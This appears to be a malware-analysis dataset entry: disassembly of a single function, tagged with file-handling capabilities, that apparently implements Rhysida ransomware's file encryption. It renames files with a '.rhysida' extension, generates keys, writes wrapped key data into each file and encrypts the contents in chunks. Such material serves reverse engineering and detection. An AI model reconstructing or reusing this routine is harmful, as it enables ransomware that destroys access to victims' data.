Function at 0x417c23
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x32b8
call fcn.00447f50
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3260], rcx
mov dword [rbp + 0x3268], edx
mov dword [rbp + 0x3270], r8d
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3210], rax
mov rax, qword [rbp + 0x3210]
mov rdx, qword [rbp + 0x3260]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, dword [0x0044b034]
mov edx, edx
add rax, rdx
add rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3208], rax
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [0x004723d0]
mov eax, dword [rax]
cmp eax, 1
jne 0x417d53
mov rax, qword [rbp + 0x3208]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x3208]
add rax, rdx
mov word [rax], 0x2e
mov rax, qword [rbp + 0x3208]
lea rdx, str.rhysida
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x3208]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp + 0x3208]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
mov dword [rbp + 0x322c], eax
jmp 0x417d5d
mov dword [rbp + 0x322c], 0
cmp dword [rbp + 0x322c], 0
je 0x417d82
lea rax, [0x0046de20]
mov eax, dword [rax + 0x10]
lea edx, [rax + 1]
lea rax, [0x0046de20]
mov dword [rax + 0x10], edx
jmp 0x418580
mov rax, qword [rbp + 0x3208]
lea rdx, [0x00456565]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3200], rax
cmp qword [rbp + 0x3200], 0
jne 0x417dc4
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x418580
mov dword [rbp + 0x3224], 0
mov rax, qword [rbp + 0x3200]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00448d50
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call fcn.004491d0
mov dword [rbp + 0x31fc], eax
mov rax, qword [rbp + 0x3200]
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.00448d50
cmp dword [rbp + 0x31fc], 0
je 0x41855b
cmp dword [rbp + 0x3224], 0
jne 0x41855b
lea rax, [0x0046de08]
mov rcx, rax
call fcn.004420a0
lea rax, [0x004723d8]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3270]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31c0]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
call fcn.004236b0
lea rax, [0x004723d8]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3270]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.004236b0
lea rax, [0x0046de00]
mov eax, dword [rax]
lea r8, [rbp + 0x31c0]
lea rdx, [rbp + 0x31b0]
lea rcx, [rbp + 0x1ff0]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xe
mov r9d, 0x20
mov ecx, eax
call fcn.0041fc50
mov dword [rbp + 0x322c], eax
cmp dword [rbp + 0x322c], 0
je 0x417f09
lea rax, [0x0046de08]
mov rcx, rax
call fcn.00442370
jmp 0x418580
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.0041fb90
mov dword [rbp + 0x322c], eax
mov dword [rbp + 0x31f8], 0x20
mov dword [rbp + 0x1fec], 0x1000
lea rax, [0x00472350]
mov r8d, dword [rax]
lea rax, [0x0046de04]
mov ecx, dword [rax]
lea rax, [0x004723d8]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3270]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fec]
lea r10, [rbp - 0x20]
mov edx, dword [rbp + 0x31f8]
lea rax, [rbp + 0x31c0]
lea rbx, [0x00472360]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x004554e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.004222b0
mov dword [rbp + 0x322c], eax
cmp dword [rbp + 0x322c], 0
je 0x417fe4
mov dword [rbp + 0x3224], 1
cmp dword [rbp + 0x3224], 0
jne 0x418525
mov rax, qword [rbp + 0x3200]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00448d50
mov eax, dword [rbp + 0x1fec]
mov ecx, eax
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3224], eax
cmp dword [rbp + 0x3224], 0
jne 0x4184d8
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1fec]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp + 0x31f4], 0x10
mov dword [rbp + 0x1fe8], 0x1000
lea rax, [0x00472350]
mov r8d, dword [rax]
lea rax, [0x0046de04]
mov ecx, dword [rax]
lea rax, [0x004723d8]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3270]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fe8]
lea r10, [rbp + 0xfe0]
mov edx, dword [rbp + 0x31f4]
lea rax, [rbp + 0x31b0]
lea rbx, [0x00472360]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x004554e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.004222b0
mov dword [rbp + 0x322c], eax
cmp dword [rbp + 0x322c], 0
je 0x41812c
mov dword [rbp + 0x3224], 1
lea rax, [0x0046de08]
mov rcx, rax
call fcn.00442370
cmp dword [rbp + 0x3224], 0
jne 0x4184ae
mov eax, dword [rbp + 0x1fe8]
mov ecx, eax
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0xfe0]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3224], eax
cmp dword [rbp + 0x3224], 0
jne 0x41846d
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1fe8]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x3200]
mov r9, rax
mov r8d, 1
mov edx, 4
lea rax, [0x004723d0]
mov rcx, rax
call sub.msvcrt.dll_fwrite
lea rax, [0x004723d0]
mov eax, dword [rax]
cmp eax, 1
jne 0x41840a
mov eax, dword [rbp + 0x31fc]
mov dword [rbp + 0x31f0], eax
mov dword [rbp + 0x321c], 4
mov eax, dword [rbp + 0x31f0]
shr eax, 2
mov dword [rbp + 0x3220], eax
mov dword [rbp + 0x3218], 0x100000
jmp 0x41824b
cmp dword [rbp + 0x321c], 1
jle 0x418244
sub dword [rbp + 0x321c], 1
mov edi, dword [rbp + 0x321c]
mov eax, dword [rbp + 0x31f0]
mov edx, 0
div edi
mov dword [rbp + 0x3220], eax
jmp 0x41824b
sub dword [rbp + 0x321c], 1
cmp dword [rbp + 0x3220], 0
je 0x418269
cmp dword [rbp + 0x3220], 0xfffff
ja 0x418269
cmp dword [rbp + 0x321c], 0
jg 0x418219
cmp dword [rbp + 0x321c], 0
je 0x41827b
cmp dword [rbp + 0x3220], 0
jne 0x41829d
mov dword [rbp + 0x321c], 1
mov eax, dword [rbp + 0x31f0]
mov dword [rbp + 0x3220], eax
mov eax, dword [rbp + 0x31f0]
mov dword [rbp + 0x3218], eax
mov ecx, 0x100000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x31e8], rax
mov dword [rbp + 0x3228], 0
jmp 0x4183e9
mov eax, dword [rbp + 0x3228]
imul eax, dword [rbp + 0x3220]
mov edx, eax
mov rax, qword [rbp + 0x3200]
mov r8d, 0
mov rcx, rax
call fcn.00448d50
mov eax, dword [rbp + 0x3218]
movsxd rdx, eax
mov rcx, qword [rbp + 0x3200]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov dword [rbp + 0x31e4], eax
mov eax, dword [rbp + 0x3218]
cmp dword [rbp + 0x31fc], eax
je 0x418337
cmp dword [rbp + 0x31e4], 0
jne 0x418337
mov dword [rbp + 0x3224], 1
jmp 0x4183fb
lea r8, [rbp + 0x1ff0]
mov ecx, dword [rbp + 0x31e4]
mov rdx, qword [rbp + 0x31e8]
mov rax, qword [rbp + 0x31e8]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call fcn.0041f260
mov dword [rbp + 0x322c], eax
cmp dword [rbp + 0x322c], 0
je 0x418385
mov dword [rbp + 0x3224], 1
mov dword [rbp + 0x3228], 4
jmp 0x4183ce
mov eax, dword [rbp + 0x3228]
imul eax, dword [rbp + 0x3220]
mov edx, eax
mov rax, qword [rbp + 0x3200]
mov r8d, 0
mov rcx, rax
call fcn.00448d50
mov edx, dword [rbp + 0x31e4]
mov rcx, qword [rbp + 0x3200]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x31e8]
mov edx, 8
mov rcx, rax
call fcn.0041f130
add dword [rbp + 0x3228], 1
mov eax, dword [rbp + 0x3228]
cmp eax, dword [rbp + 0x321c]
jl 0x4182bd
mov rax, qword [rbp + 0x31e8]
mov rcx, rax
call fcn.0044a060
cmp dword [rbp + 0x3224], 1
jne 0x418442
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x0046de20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x0046de20]
mov dword [rax + 0xc], edx
jmp 0x418459
lea rax, [0x0046de20]
mov eax, dword [rax + 8]
lea edx, [rax + 1]
lea rax, [0x0046de20]
mov dword [rax + 8], edx
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x418580
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x0046de20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x0046de20]
mov dword [rax + 0xc], edx
jmp 0x418580
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x418580
lea rax, [0x0046de08]
mov rcx, rax
call fcn.00442370
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x0046de20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x0046de20]
mov dword [rax + 0xc], edx
jmp 0x418580
lea rax, [0x0046de08]
mov rcx, rax
call fcn.00442370
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x418580
mov rax, qword [rbp + 0x3200]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.0041f200
mov dword [rbp + 0x322c], eax
lea rax, [rbp + 0x1ff0]
mov edx, 0x11b8
mov rcx, rax
call fcn.0041f130
lea rax, [rbp + 0x31b0]
mov edx, 0x10
mov rcx, rax
call fcn.0041f130
lea rax, [rbp + 0x31c0]
mov edx, 0x20
mov rcx, rax
call fcn.0041f130
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call fcn.0044a060
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call fcn.0044a060
nop
add rsp, 0x32b8
pop rbx
pop rsi
pop rdi
pop rbp
ret